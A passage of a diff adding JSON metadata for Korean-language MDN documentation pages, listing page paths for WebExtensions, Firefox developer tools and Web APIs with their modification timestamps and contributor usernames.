"2020-10-15T22:14:49.550Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/contextMenus/getTargetElement": { + "modified": "2020-10-15T22:14:45.950Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/contextMenus/onShown": { + "modified": "2020-10-15T22:14:49.769Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/pageAction": { + "modified": "2020-10-15T22:14:47.058Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/pageAction/show": { + "modified": "2020-10-15T22:14:47.700Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/storage": { + "modified": "2020-10-15T21:53:35.730Z", + "contributors": [ + "SphinxKnight", + "grizlupo", + "wbamberg" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/storage/StorageArea": { + "modified": "2020-10-15T22:14:43.771Z", + "contributors": [ + "SphinxKnight", + "fscholz" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get": { + "modified": "2020-10-15T22:14:43.586Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set": { + "modified": "2020-10-15T22:14:43.993Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/storage/local": { + "modified": "2020-10-15T22:14:44.876Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/storage/sync": { + "modified": "2020-10-15T21:53:37.479Z", + "contributors": [ + "SphinxKnight", + "grizlupo", + "wbamberg", + "hoony" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/tabs": { + "modified": "2020-10-15T21:53:43.689Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "grizlupo", + "abbycar" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/tabs/create": { + "modified": "2020-10-15T22:14:46.262Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS": { + "modified": "2020-10-15T21:53:36.011Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "hoony" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/webRequest": { + "modified": "2020-10-15T21:53:39.205Z", + "contributors": [ + "SphinxKnight", + "grizlupo", + "wbamberg", + "alattalatta", + "abbycar" + ] + }, + "Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest": { + "modified": "2020-10-15T21:53:40.126Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "hoony" + ] + }, + "Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension": { + "modified": "2020-02-05T05:41:56.954Z", + "contributors": [ + "SphinxKnight", + "junthus", + "gs.won" + ] + }, + "Mozilla/Add-ons/WebExtensions/Content_scripts": { + "modified": "2020-02-05T05:41:58.739Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/Examples": { + "modified": "2020-02-05T05:41:58.537Z", + "contributors": [ + "SphinxKnight", + "gs.won" + ] + }, + "Mozilla/Add-ons/WebExtensions/Prerequisites": { + "modified": "2020-02-05T05:41:53.311Z", + "contributors": [ + "SphinxKnight", + "jwhitlock", + "JangmiJo" + ] + }, + "Mozilla/Add-ons/WebExtensions/User_actions": { + "modified": "2020-02-05T05:41:59.190Z", + "contributors": [ + "SphinxKnight", + "sylee0424" + ] + }, + "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": { + "modified": "2020-02-05T05:41:57.968Z", + "contributors": [ + "SphinxKnight", + "junthus", + "gs.won" + ] + }, + "Mozilla/Add-ons/WebExtensions/Your_first_WebExtension": { + "modified": "2020-02-05T05:41:57.199Z", + "contributors": [ + "SphinxKnight", + "yongbin_kim", + "laziel", + "gs.won" + ] + }, + "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": { + "modified": "2020-02-05T05:41:57.511Z", + "contributors": [ + "SphinxKnight", + "gs.won" + ] + }, + "Mozilla/Add-ons/WebExtensions/manifest.json": { + "modified": "2020-02-05T05:41:52.321Z", + "contributors": [ + "SphinxKnight", + "jwhitlock", + "JangmiJo" + ] + }, + "Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts": { + "modified": "2020-10-15T22:23:29.241Z", + "contributors": [ + "SphinxKnight", + "kimyounguk" + ] + }, + "Mozilla/Add-ons/WebExtensions/manifest.json/page_action": { + "modified": "2020-10-15T22:14:42.506Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Add-ons/WebExtensions/user_interface": { + "modified": "2020-02-05T05:42:07.693Z", + "contributors": [ + "SphinxKnight", + "hellosct1" + ] + }, + "Mozilla/Add-ons/WebExtensions/user_interface/Page_actions": { + "modified": "2020-02-05T05:41:58.973Z", + "contributors": [ + "SphinxKnight", + "grizlupo" + ] + }, + "Mozilla/Developer_guide": { + "modified": "2020-02-05T05:21:09.846Z", + "contributors": [ + "SphinxKnight", + "green-autumn", + "bskari" + ] + }, + "Mozilla/Developer_guide/Eclipse": { + "modified": "2020-02-05T05:21:12.647Z", + "contributors": [ + "SphinxKnight", + "Jonathan_Watt" + ] + }, + "Mozilla/Developer_guide/Eclipse/Eclipse_CDT": { + "modified": "2020-02-05T05:21:13.017Z", + "contributors": [ + "SphinxKnight", + "yuj25" + ] + }, + "Mozilla/Developer_guide/Mozilla_Build_FAQ": { + "modified": "2020-02-05T05:21:11.846Z", + "contributors": [ + "SphinxKnight", + "teoli", + "NoBrain" + ] + }, + "Mozilla/Developer_guide/Source_Code": { + "modified": "2020-02-05T05:21:12.166Z", + "contributors": [ + "SphinxKnight", + "alattalatta", + "jntesteves" + ] + }, + "Mozilla/Firefox": { + "modified": "2020-01-18T13:50:03.451Z", + "contributors": [ + "leela52452", + "04SeoHyun", + "SphinxKnight", + "wbamberg", + "alattalatta", + "LimeClover", + "HarryCho", + "paperbox", + "hyeonseok", + "jongho" + ] + }, + "Mozilla/Firefox/Releases": { + "modified": "2020-11-26T10:13:11.306Z", + "contributors": [ + "dink95", + "alattalatta", + "ziyunfei" + ] + }, + "Mozilla/Firefox/Releases/3": { + "modified": "2019-03-23T23:19:50.607Z", + "contributors": [ + "nacyot", + "ethertank" + ] + }, + "Mozilla/Firefox/Releases/66": { + "modified": "2019-04-07T22:34:47.827Z", + "contributors": [ + "niceman114" + ] + }, + "Mozilla_Source_Code_Via_CVS": { + "modified": "2019-03-23T23:42:11.059Z", + "contributors": [ + "teoli", + "NoBrain" + ] + }, + "Navigation_timing": { + "modified": "2019-03-23T23:19:34.117Z", + "contributors": [ + "sbnet21" + ] + }, + "Node_server_without_framework": { + "modified": "2020-07-16T22:36:05.665Z", + "contributors": [ + "kidkkr" + ] + }, + "Notable_bugs_fixed_in_Firefox_3": { + "modified": "2019-03-23T23:51:11.073Z", + "contributors": [ + "teoli", + "Jeongkyu" + ] + }, + "Places/Custom_Containers": { + "modified": "2020-01-12T05:08:34.067Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Jeongkyu" + ] + }, + "Places/Instantiating_Views": { + "modified": "2020-01-12T05:08:39.519Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Jeongkyu" + ] + }, + "Places/Query_System": { + "modified": "2019-04-20T03:50:18.185Z", + "contributors": [ + "wbamberg", + "teoli", + "Jeongkyu" + ] + }, + "Places/Views": { + "modified": "2020-01-12T05:08:46.290Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Jeongkyu" + ] + }, + "SVG_improvements_in_Firefox_3": { + "modified": "2019-03-23T23:51:12.606Z", + "contributors": [ + "teoli", + "Suguni" + ] + }, + "SVG_in_Firefox": { + "modified": "2019-03-23T23:41:45.344Z", + "contributors": [ + "teoli", + "Cliffet", + "taggon" + ] + }, + "Scripting_Plugins": { + "modified": "2019-01-16T15:11:14.478Z", + "contributors": [ + "teoli", + "Anonymous" + ] + }, + "The_DOM_and_JavaScript": { + "modified": "2019-12-13T21:09:57.295Z", + "contributors": [ + "wbamberg", + "Netaras", + "Sebuls" + ] + }, + "Theme_Packaging": { + "modified": "2019-03-23T23:42:36.273Z", + "contributors": [ + "teoli", + "애들아빠" + ] + }, + "Tips_for_Authoring_Fast-loading_HTML_Pages": { + "modified": "2020-07-16T22:22:33.009Z", + "contributors": [ + "ybin", + "teoli", + "Jeongsw", + "Sebuls" + ] + }, + "Tools": { + "modified": "2020-07-16T22:44:16.209Z", + "contributors": [ + "SphinxKnight", + "desty", + "hoony", + "devleoper", + "Junbong", + "Feb30th", + "JeongSeongDae", + "loslch", + "JHKinkorea" + ] + }, + "Tools/Add-ons": { + "modified": "2020-07-16T22:36:23.557Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "mfluehr" + ] + }, + "Tools/Add-ons/DOM_Inspector": { + "modified": "2020-07-16T22:36:24.511Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "Sebuls" + ] + }, + "Tools/Debugger": { + "modified": "2020-07-16T22:35:05.164Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "toyuq", + "nacyot", + "gblue1223" + ] + }, + "Tools/Debugger/UI_Tour": { + "modified": "2020-07-16T22:35:16.703Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "toyuq" + ] + }, + "Tools/Debugger/단축키": { + "modified": "2020-07-16T22:35:18.793Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "toyuq" + ] + }, + "Tools/How_to": { + "modified": "2020-07-16T22:35:07.978Z", + "contributors": [ + "SphinxKnight", + "wbamberg" + ] + }, + "Tools/How_to/Open_the_debugger": { + "modified": "2020-07-16T22:35:09.268Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "toyuq", + "galcyurio" + ] + }, + "Tools/How_to/Search": { + "modified": "2020-07-16T22:35:15.581Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "toyuq" + ] + }, + "Tools/How_to/Set_a_breakpoint": { + "modified": "2020-07-16T22:35:10.232Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "toyuq" + ] + }, + "Tools/Network_Monitor": { + "modified": "2020-07-16T22:35:30.711Z", + "contributors": [ + "SphinxKnight", + "yeonjukim", + "wicksome" + ] + }, + "Tools/Page_Inspector": { + "modified": "2020-07-16T22:34:28.500Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "stitchworkingonthecode" + ] + }, + "Tools/Page_Inspector/UI_Tour": { + "modified": "2020-07-16T22:34:49.329Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "stitchworkingonthecode" + ] + }, + "Tools/Performance": { + "modified": "2020-07-16T22:36:13.082Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "nacyot", + "gblue1223", + "roupkk", + "H-yun" + ] + }, + "Tools/Performance/UI_Tour": { + "modified": "2020-07-16T22:36:15.183Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "OhSeungHyeon" + ] + }, + "Tools/Remote_Debugging": { + "modified": "2020-07-16T22:35:37.664Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "nacyot", + "Zzpeehyun", + "Pinkminj", + "crankup78" + ] + }, + "Tools/Remote_Debugging/Firefox_for_Android": { + "modified": "2020-07-16T22:35:39.309Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "thqkrdl502" + ] + }, + "Tools/Web_Console": { + "modified": "2020-07-16T22:34:06.575Z", + "contributors": [ + "SphinxKnight", + "wbamberg", + "Blackcoffee" + ] + }, + "Updating_extensions_for_Firefox_2": { + "modified": "2019-03-23T23:47:28.581Z", + "contributors": [ + "Channy" + ] + }, + "Updating_extensions_for_Firefox_3": { + "modified": "2019-12-13T20:35:48.646Z", + "contributors": [ + "wbamberg", + "Sheppy", + "Suguni" + ] + }, + "Updating_web_applications_for_Firefox_3": { + "modified": "2019-03-23T23:50:12.740Z", + "contributors": [ + "wbamberg", + "teoli", + "Sheppy", + "Channy" + ] + }, + "Using_Mozilla_in_Testing_and_Debugging_Web_Sites": { + "modified": "2019-03-23T23:13:10.960Z", + "contributors": [ + "cap3618" + ] + }, + "Using_XPath": { + "modified": "2019-01-16T14:19:09.939Z", + "contributors": [ + "kmaglione", + "Gilchris" + ] + }, + "Web": { + "modified": "2020-02-16T02:49:58.384Z", + "contributors": [ + "lundella", + "alattalatta", + "ehgus", + "limkukhyun", + "project42da", + "zziuni", + "tamnajio", + "young-gratia", + "pjc0247", + "stephenjang", + "Channy", + "ethertank" + ] + }, + "Web/API": { + "modified": "2020-03-24T23:23:33.720Z", + "contributors": [ + "alattalatta", + "cs09g", + "Netaras", + "teoli", + "Channy", + "hyeonseok", + "ethertank" + ] + }, + "Web/API/ANGLE_instanced_arrays": { + "modified": "2020-10-15T22:07:21.231Z", + "contributors": [ + "alattalatta", + "eerina" + ] + }, + "Web/API/AbortController": { + "modified": "2020-10-15T22:28:17.165Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/AbortController/AbortController": { + "modified": "2020-10-15T22:28:17.033Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/AbortController/abort": { + "modified": "2020-10-15T22:28:17.730Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/AbortController/signal": { + "modified": "2020-10-15T22:28:17.058Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/AbortSignal": { + "modified": "2020-10-15T22:28:16.655Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/AbortSignal/aborted": { + "modified": "2020-10-15T22:28:17.376Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/AbstractRange": { + "modified": "2020-11-25T03:27:07.810Z", + "contributors": [ + "Sheppy" + ] + }, + "Web/API/AbstractRange/collapsed": { + "modified": "2020-11-25T03:28:24.486Z", + "contributors": [ + "chzhclq17" + ] + }, + "Web/API/AbstractWorker": { + "modified": "2020-10-15T21:25:37.012Z", + "contributors": [ + "alattalatta", + "Cho.Eun" + ] + }, + "Web/API/AnalyserNode": { + "modified": "2020-10-15T21:31:33.070Z", + "contributors": [ + "alattalatta", + "teoli", + "yuby" + ] + }, + "Web/API/AnimationEvent": { + "modified": "2020-10-15T21:31:32.942Z", + "contributors": [ + "alattalatta", + "teoli", + "yuby" + ] + }, + "Web/API/AnimationEvent/AnimationEvent": { + "modified": "2020-10-15T21:50:16.716Z", + "contributors": [ + "alattalatta", + "guyeol", + "sang8481" + ] + }, + "Web/API/AnimationEvent/animationName": { + "modified": "2020-10-15T22:02:59.194Z", + "contributors": [ + "cs09g", + "Latera" + ] + }, + "Web/API/AnimationTimeline": { + "modified": "2020-10-15T21:59:32.459Z", + "contributors": [ + "alattalatta", + "Sheppy" + ] + }, + "Web/API/AnimationTimeline/currentTime": { + "modified": "2019-03-18T21:46:15.748Z", + "contributors": [ + "yuj25" + ] + }, + "Web/API/AudioBuffer": { + "modified": "2019-03-23T23:05:35.334Z", + "contributors": [ + "yuby" + ] + }, + "Web/API/AudioBufferSourceNode": { + "modified": "2020-10-15T21:31:34.549Z", + "contributors": [ + "alattalatta", + "fscholz", + "teoli", + "yuby" + ] + }, + "Web/API/AudioContext": { + "modified": "2019-03-23T23:05:33.323Z", + "contributors": [ + "maesiltea", + "yuby" + ] + }, + "Web/API/AudioDestinationNode": { + "modified": "2019-03-23T23:05:18.083Z", + "contributors": [ + "teoli", + "yuby" + ] + }, + "Web/API/AudioNode": { + "modified": "2019-03-23T23:05:16.509Z", + "contributors": [ + "yuby" + ] + }, + "Web/API/AudioParam": { + "modified": "2020-10-15T21:31:36.586Z", + "contributors": [ + "alattalatta", + "yuby" + ] + }, + "Web/API/Background_Tasks_API": { + "modified": "2020-10-15T22:10:24.944Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/BatteryManager": { + "modified": "2020-10-15T21:24:28.565Z", + "contributors": [ + "alattalatta", + "AshfaqHossain", + "oohii" + ] + }, + "Web/API/BatteryManager/charging": { + "modified": "2019-03-23T22:40:03.701Z", + "contributors": [ + "pjc0247" + ] + }, + "Web/API/BatteryManager/chargingTime": { + "modified": "2020-12-03T14:44:28.402Z", + "contributors": [ + "dink95", + "duduindo", + "shh0884" + ] + }, + "Web/API/BatteryManager/dischargingTime": { + "modified": "2020-10-15T22:20:34.926Z", + "contributors": [ + "shh0884" + ] + }, + "Web/API/BiquadFilterNode": { + "modified": "2019-03-23T22:14:02.527Z", + "contributors": [ + "chant" + ] + }, + "Web/API/Blob": { + "modified": "2020-10-15T21:38:09.911Z", + "contributors": [ + "alattalatta", + "hsl0", + "parksb", + "limkukhyun", + "kuil09" + ] + }, + "Web/API/Blob/Blob": { + "modified": "2020-10-15T22:03:59.171Z", + "contributors": [ + "alattalatta", + "limkukhyun" + ] + }, + "Web/API/Body": { + "modified": "2020-10-15T22:07:57.321Z", + "contributors": [ + "alattalatta", + "RickBrown" + ] + }, + "Web/API/Body/json": { + "modified": "2020-10-15T22:07:55.949Z", + "contributors": [ + "ldss3sang" + ] + }, + "Web/API/BroadcastChannel": { + "modified": "2020-10-15T22:17:58.054Z", + "contributors": [ + "alattalatta", + "wbamberg" + ] + }, + "Web/API/CSS": { + "modified": "2020-12-05T02:32:47.247Z", + "contributors": [ + "movegun1027", + "alattalatta" + ] + }, + "Web/API/CSSMediaRule": { + "modified": "2020-10-15T22:19:18.892Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/CSSOMString": { + "modified": "2019-03-18T21:23:46.366Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/CSSStyleSheet": { + "modified": "2020-10-15T21:52:17.278Z", + "contributors": [ + "alattalatta", + "erikadoyle" + ] + }, + "Web/API/CSS_Object_Model": { + "modified": "2020-02-22T14:50:23.635Z", + "contributors": [ + "alattalatta", + "cs09g", + "OkHyeon", + "teoli" + ] + }, + "Web/API/Cache": { + "modified": "2020-10-15T21:39:42.857Z", + "contributors": [ + "alattalatta", + "LeeJunyeol", + "oinochoe", + "jpmedley" + ] + }, + "Web/API/Cache/put": { + "modified": "2020-10-15T21:39:41.309Z", + "contributors": [ + "alattalatta", + "minias" + ] + }, + "Web/API/CanvasCaptureMediaStreamTrack": { + "modified": "2020-12-04T10:32:28.199Z" + }, + "Web/API/CanvasCaptureMediaStreamTrack/canvas": { + "modified": "2020-12-04T10:32:29.054Z", + "contributors": [ + "chzhclq17" + ] + }, + "Web/API/CanvasCaptureMediaStreamTrack/requestFrame": { + "modified": "2020-12-04T11:10:43.136Z", + "contributors": [ + "chzhclq17" + ] + }, + "Web/API/Channel_Messaging_API": { + "modified": "2020-10-15T21:56:39.098Z", + "contributors": [ + "alattalatta", + "DomenicDenicola" + ] + }, + "Web/API/Channel_Messaging_API/Using_channel_messaging": { + "modified": "2019-03-23T22:06:53.771Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/CharacterData": { + "modified": "2020-10-15T22:10:05.669Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/ChildNode": { + "modified": "2020-10-15T22:04:53.961Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/ChildNode/before": { + "modified": "2020-10-15T22:10:12.463Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/ChildNode/remove": { + "modified": "2020-10-15T22:10:05.225Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Clients": { + "modified": "2020-10-15T22:21:49.146Z" + }, + "Web/API/Clients/claim": { + "modified": "2020-10-15T22:21:49.492Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Clipboard": { + "modified": "2020-10-15T22:05:00.336Z", + "contributors": [ + "dooyou21", + "dragmove" + ] + }, + "Web/API/ClipboardEvent": { + "modified": "2020-10-15T22:25:08.748Z" + }, + "Web/API/ClipboardEvent/clipboardData": { + "modified": "2020-10-15T22:25:08.765Z", + "contributors": [ + "dooyou21" + ] + }, + "Web/API/Clipboard_API": { + "modified": "2020-10-15T22:27:46.263Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Comment": { + "modified": "2020-10-15T22:14:25.162Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Console": { + "modified": "2020-10-15T21:46:06.487Z", + "contributors": [ + "alattalatta", + "Sihong12", + "roupkk" + ] + }, + "Web/API/Console/assert": { + "modified": "2020-10-15T22:26:48.682Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Console/clear": { + "modified": "2020-10-15T22:26:50.195Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Console/count": { + "modified": "2020-10-15T22:26:52.117Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Console/countReset": { + "modified": "2020-10-15T22:26:50.267Z", + "contributors": [ + "n2ptune", + "alattalatta" + ] + }, + "Web/API/Console/debug": { + "modified": "2020-10-15T22:26:49.828Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Console/error": { + "modified": "2020-10-15T22:04:54.645Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Console/group": { + "modified": "2020-10-15T21:54:18.420Z", + "contributors": [ + "dragmove", + "fdevjm" + ] + }, + "Web/API/Console/log": { + "modified": "2020-10-15T21:50:43.068Z", + "contributors": [ + "wisedog", + "nazuna1", + "HanuLatte" + ] + }, + "Web/API/Console/time": { + "modified": "2020-10-15T22:04:56.398Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Console/timeEnd": { + "modified": "2020-10-15T22:05:55.946Z", + "contributors": [ + "falsy" + ] + }, + "Web/API/Console/trace": { + "modified": "2020-10-15T22:04:54.893Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Console/warn": { + "modified": "2020-10-15T22:04:54.926Z", + "contributors": [ + "wisedog", + "cs09g" + ] + }, + "Web/API/Console_API": { + "modified": "2020-10-15T22:26:44.936Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Crypto": { + "modified": "2019-03-23T22:44:34.028Z", + "contributors": [ + "hoony" + ] + }, + "Web/API/Crypto/getRandomValues": { + "modified": "2020-10-15T21:53:17.195Z", + "contributors": [ + "SphinxKnight", + "alattalatta", + "llighter" + ] + }, + "Web/API/Crypto/subtle": { + "modified": "2020-10-15T21:40:01.783Z", + "contributors": [ + "alattalatta", + "hoony" + ] + }, + "Web/API/CustomElementRegistry": { + "modified": "2020-10-15T22:26:46.894Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/CustomEvent": { + "modified": "2020-10-15T22:13:58.148Z", + "contributors": [ + "cs09g", + "fscholz" + ] + }, + "Web/API/CustomEvent/CustomEvent": { + "modified": "2020-10-15T22:13:58.234Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/DOMObject": { + "modified": "2019-03-18T21:34:55.307Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/DOMParser": { + "modified": "2020-10-15T22:30:25.978Z", + "contributors": [ + "composite" + ] + }, + "Web/API/DOMString": { + "modified": "2020-08-23T06:55:37.415Z", + "contributors": [ + "alattalatta", + "cs09g" + ] + }, + "Web/API/DOMTokenList": { + "modified": "2020-10-15T21:59:28.763Z", + "contributors": [ + "alattalatta", + "jpmedley" + ] + }, + "Web/API/DOMTokenList/contains": { + "modified": "2019-03-18T21:46:24.774Z", + "contributors": [ + "Ken123777" + ] + }, + "Web/API/DataTransfer": { + "modified": "2020-10-15T21:49:28.518Z", + "contributors": [ + "alattalatta", + "samee", + "Sheppy" + ] + }, + "Web/API/DataTransfer/getData": { + "modified": "2020-10-15T21:49:29.417Z", + "contributors": [ + "alattalatta", + "stitchworkingonthecode" + ] + }, + "Web/API/Document": { + "modified": "2020-10-15T21:17:53.312Z", + "contributors": [ + "alattalatta", + "cs09g", + "PineMt", + "teoli", + "fscholz", + "khalid32", + "pusanbear" + ] + }, + "Web/API/Document/Document": { + "modified": "2020-10-15T22:14:18.230Z", + "contributors": [ + "alattalatta", + "cs09g" + ] + }, + "Web/API/Document/URL": { + "modified": "2020-10-15T22:14:26.025Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Document/adoptNode": { + "modified": "2019-03-23T22:28:00.709Z", + "contributors": [ + "wbamberg", + "hoony" + ] + }, + "Web/API/Document/alinkColor": { + "modified": "2019-03-23T23:47:30.441Z", + "contributors": [ + "fscholz", + "AshfaqHossain", + "teoli", + "pusanbear" + ] + }, + "Web/API/Document/all": { + "modified": "2020-10-15T22:21:31.673Z", + "contributors": [ + "VictorTaekLim" + ] + }, + "Web/API/Document/anchors": { + "modified": "2020-10-15T21:17:17.828Z", + "contributors": [ + "alattalatta", + "hoony", + "mrsshr", + "fscholz", + "khalid32", + "teoli", + "pusanbear" + ] + }, + "Web/API/Document/applets": { + "modified": "2019-03-23T23:47:36.352Z", + "contributors": [ + "hoony", + "fscholz", + "khalid32", + "teoli", + "pusanbear" + ] + }, + "Web/API/Document/body": { + "modified": "2020-10-15T21:17:21.395Z", + "contributors": [ + "alattalatta", + "hoony", + "fscholz", + "khalid32", + "teoli", + "pusanbear" + ] + }, + "Web/API/Document/characterSet": { + "modified": "2020-10-15T21:46:48.262Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/API/Document/compatMode": { + "modified": "2020-10-15T22:27:44.534Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Document/cookie": { + "modified": "2020-10-15T22:33:58.038Z", + "contributors": [ + "junnapark" + ] + }, + "Web/API/Document/createDocumentFragment": { + "modified": "2019-03-23T22:22:47.234Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Document/createElement": { + "modified": "2020-10-15T21:16:05.958Z", + "contributors": [ + "alattalatta", + "fscholz", + "khalid32", + "Hyeongryeol" + ] + }, + "Web/API/Document/createElementNS": { + "modified": "2019-03-23T22:04:11.325Z", + "contributors": [ + "jungjuseong" + ] + }, + "Web/API/Document/createRange": { + "modified": "2019-03-18T21:17:12.932Z", + "contributors": [ + "hyeonseok", + "incleaf" + ] + }, + "Web/API/Document/createTextNode": { + "modified": "2019-03-23T23:51:22.512Z", + "contributors": [ + "keist99", + "fscholz", + "khalid32", + "Hyeongryeol" + ] + }, + "Web/API/Document/createTreeWalker": { + "modified": "2020-10-15T22:00:38.900Z", + "contributors": [ + "alattalatta", + "kewlbear" + ] + }, + "Web/API/Document/defaultView": { + "modified": "2020-10-15T21:46:49.613Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/API/Document/designMode": { + "modified": "2020-10-15T21:46:53.373Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/API/Document/doctype": { + "modified": "2019-03-23T22:21:56.667Z", + "contributors": [ + "littlewether", + "DeadIntegral" + ] + }, + "Web/API/Document/documentElement": { + "modified": "2020-10-15T21:47:31.685Z", + "contributors": [ + "alattalatta", + "stitchworkingonthecode" + ] + }, + "Web/API/Document/documentURI": { + "modified": "2020-02-22T14:34:30.884Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Document/domain": { + "modified": "2020-10-15T22:25:43.157Z", + "contributors": [ + "alattalatta", + "composite" + ] + }, + "Web/API/Document/drag_event": { + "modified": "2020-10-15T22:34:00.801Z", + "contributors": [ + "chrisdavidmills", + "zzoPark" + ] + }, + "Web/API/Document/dragend_event": { + "modified": "2020-10-15T22:33:58.037Z", + "contributors": [ + "zzoPark" + ] + }, + "Web/API/Document/dragstart_event": { + "modified": "2020-10-15T22:14:30.053Z", + "contributors": [ + "alattalatta", + "fscholz", + "cs09g" + ] + }, + "Web/API/Document/embeds": { + "modified": "2019-03-23T22:31:36.037Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Document/execCommand": { + "modified": "2020-10-15T21:45:41.419Z", + "contributors": [ + "alattalatta", + "KihyukYoo", + "hyeonseok", + "Sebastianz" + ] + }, + "Web/API/Document/forms": { + "modified": "2019-03-23T22:31:38.326Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Document/getElementById": { + "modified": "2020-10-15T21:18:26.662Z", + "contributors": [ + "alattalatta", + "Parcovia", + "fscholz", + "teoli", + "Sebuls" + ] + }, + "Web/API/Document/getElementsByTagName": { + "modified": "2020-10-15T21:53:50.856Z", + "contributors": [ + "cs09g", + "dayoungles" + ] + }, + "Web/API/Document/getElementsByTagNameNS": { + "modified": "2020-10-15T22:14:18.499Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Document/getSelection": { + "modified": "2019-03-23T22:51:22.015Z", + "contributors": [ + "x86kernel" + ] + }, + "Web/API/Document/hasFocus": { + "modified": "2020-10-15T21:16:21.345Z", + "contributors": [ + "alattalatta", + "PineMt", + "fscholz", + "khalid32", + "teoli", + "Suguni" + ] + }, + "Web/API/Document/head": { + "modified": "2020-10-15T21:47:08.638Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/API/Document/hidden": { + "modified": "2020-10-15T21:51:08.698Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/API/Document/images": { + "modified": "2019-03-23T22:31:48.179Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Document/implementation": { + "modified": "2020-10-15T22:08:11.282Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Document/importNode": { + "modified": "2020-10-15T21:25:38.637Z", + "contributors": [ + "fscholz", + "wbamberg", + "Cho.Eun" + ] + }, + "Web/API/Document/keydown_event": { + "modified": "2019-04-15T09:18:19.341Z", + "contributors": [ + "irenesmith", + "ExE-Boss", + "fscholz", + "jinahya" + ] + }, + "Web/API/Document/keyup_event": { + "modified": "2020-11-24T11:14:25.912Z", + "contributors": [ + "yoonseungho" + ] + }, + "Web/API/Document/links": { + "modified": "2019-03-23T22:27:09.273Z", + "contributors": [ + "dragmove" + ] + }, + 